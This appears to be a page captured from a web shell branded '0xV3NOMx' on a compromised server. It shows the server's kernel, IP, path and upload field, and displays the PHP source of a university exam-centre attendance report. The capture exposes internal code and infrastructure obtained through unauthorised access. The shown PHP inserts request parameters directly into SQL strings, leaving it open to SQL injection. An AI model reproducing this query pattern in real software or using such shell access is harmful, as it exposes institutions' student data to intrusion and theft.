0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.137.170.38


Current Path : /var/www/html/admission/src/
Upload File :
Current File : /var/www/html/admission/src/examCntrdurexm.php

<?php

function getExmCntr($aobj_context)
{

 $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);

 $deggrp = $aobj_context->mobj_data["fdeggrp"];
 $univcode = $aobj_context->mobj_data["univcode"];
 $qprngfrom = $aobj_context->mobj_data["fqpfrm"];
 $qprngto = $aobj_context->mobj_data["fqpto"];
 $fdatefrm = $aobj_context->mobj_data["fdatefrom"];
 $fdateto = $aobj_context->mobj_data["fdateto"];
 $sessionType = $aobj_context->mobj_data["stype"];
 $reportType = $aobj_context->mobj_data["rtype"];

 //if given submit directly
 $datefrm = date("Y-m-d", strtotime(str_replace('/', '-', $fdatefrm)));
 $dateto = date("Y-m-d", strtotime(str_replace('/', '-', $fdateto)));

 $session = "";
 $sessionfull = "";
 if ($sessionType == 'm') {
  $session = 'AM';
  $sessionfull = 'Morning';
 } else {
  $session = 'PM';
  $sessionfull = 'Afternoon';
 }

 //if session not mentioned
 $sess_cond = "";
 if ($sessionType == 'b') {
  $sess_cond = "";
  $sess = "";
 } else {
  $sess_cond = "AND s.fsession LIKE '{$sessionType}%'";
  $sess = "AND fsession ='$session'";
 }

 //if date not mentioned
 $fdoe = "";
 $fdoe1 = "";
 if ($fdatefrm != "" && $fdateto != "") {
  $fdoe = "AND IFNULL(s.fdoe, '0000-00-00') between '{$datefrm}' and '{$dateto}'"; //explode n implode
  $fdoe1 = "AND DATE_FORMAT(a.fdoe,'%Y-%m-%d') between '{$datefrm}' and '{$dateto}'";
 }

 //if qpcode not mentioned
 $fqpcode = "";
 if ($qprngfrom != '' && $qprngto != "") {

  $fqpcode = "AND s.fqpcode BETWEEN '{$qprngfrom}' AND '{$qprngto}'";
  $fqpcode1 = "and a.fqpcode between '{$qprngfrom}' and '{$qprngto}'";
 }

 $fdegree = "";
 if($deggrp == 'All'){
    $fdegree = "";
 }elseif ($deggrp != '') {
    $fdegree = "and d.fdeggrp = '{$deggrp}'";
 }

 if($univcode == '041' || $univcode == '042x')
 {
     $candsum = "examcandsum";
     $canddet = "examcanddet";

 }else
 {
     $candsum = "candsum";
     $canddet = "canddet";
 }

 
 $query = "SELECT s.fcntrcode,concat(cl.fcollname,', ',cl.ftown) as collegecenter,s.fsession,s.fdescpn, s.fqpcode, fsubname, s.fdoe,
      pcount AS tcount, IFNULL(abcount,0) AS abcount,
      IFNULL(mpcount,0) AS mpcount, (pcount-IFNULL(abcount,0)-IFNULL(mpcount,0)) AS prcount FROM
      (SELECT a.fcntrcode,a.fsession,a.fdescpn,a.fqpcode,a.fdoe, a.fsubname, COUNT(a.fregno) AS pcount FROM
      (SELECT cs.fcntrcode,s.fsession,r.fdescpn,s.fqpcode, s.fsubname,date_format(s.fdoe, '%d/%m/%Y') as fdoe, cd.fregno
      FROM canddet cd INNER JOIN candsum cs ON cd.fregno = cs.fregno
      AND cd.fdegree = cs.fdegree AND cd.fcollcode = cs.fcollcode
      INNER JOIN subject s ON s.fdegree = cd.fdegree AND s.fexamno = cd.fexamno
      AND s.fsubcode = cd.fsubcode AND IFNULL(s.ftheory, '') = 'T' AND IFNULL(s.fintass,'') = 'F'
      inner join degree d on s.fdegree = d.fdegree and s.fexamno = d.fexamno
      inner join reason r on s.fsession = r.freasoncd
      WHERE IFNULL(fpresent,'') = 'P' and ifnull(s.fdoe,'0000-00-00') <> '0000-00-00' 
      and ifnull(cd.FTHPR,'') <> 'T'
      and INSTR(cs.fhtenable,cd.fexamno) >0
      AND IFNULL(fpassmth,'') = '' {$fdegree} {$fdoe} {$sess_cond} {$fqpcode}) a
      GROUP BY a.fcntrcode, a.fqpcode) s INNER JOIN college cl ON s.fcntrcode = cl.fcollcode
      LEFT JOIN
      (SELECT a.fcollcode, a.fqpcode, SUM(IF(fabstype = 'QpA', 1, 0))AS abcount,
      SUM(IF(fabstype = 'QpM', 1, 0))AS mpcount
      FROM absent a
      WHERE a.fregno <> 'nil' AND a.fregno <> '0'
      {$fdoe1} {$sess} AND fcollcode <> '' 
      {$fqpcode1}
      GROUP BY fcollcode, fqpcode) t
      ON s.fcntrcode = t.fcollcode AND s.fqpcode = t.fqpcode
      ORDER BY s.fcntrcode, s.fqpcode";
//   var_dump($query);
//   die();
 $result = $aobj_context->pobj_db->GetAll($query);
 // var_dump($result);
 if (!$result && gettype($result) == 'boolean') {
  $arr['msg'] = "Error while fetching Data";
  echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "Failure");
  return;
 }

 if (count($result) > 0) {

  echo $aobj_context->mobj_output->ToJSONEnvelope($result, 0, "success");
  return;
 } else {
  $arr['msg'] = "No records found";
  echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "Failure");
  return;
 }
}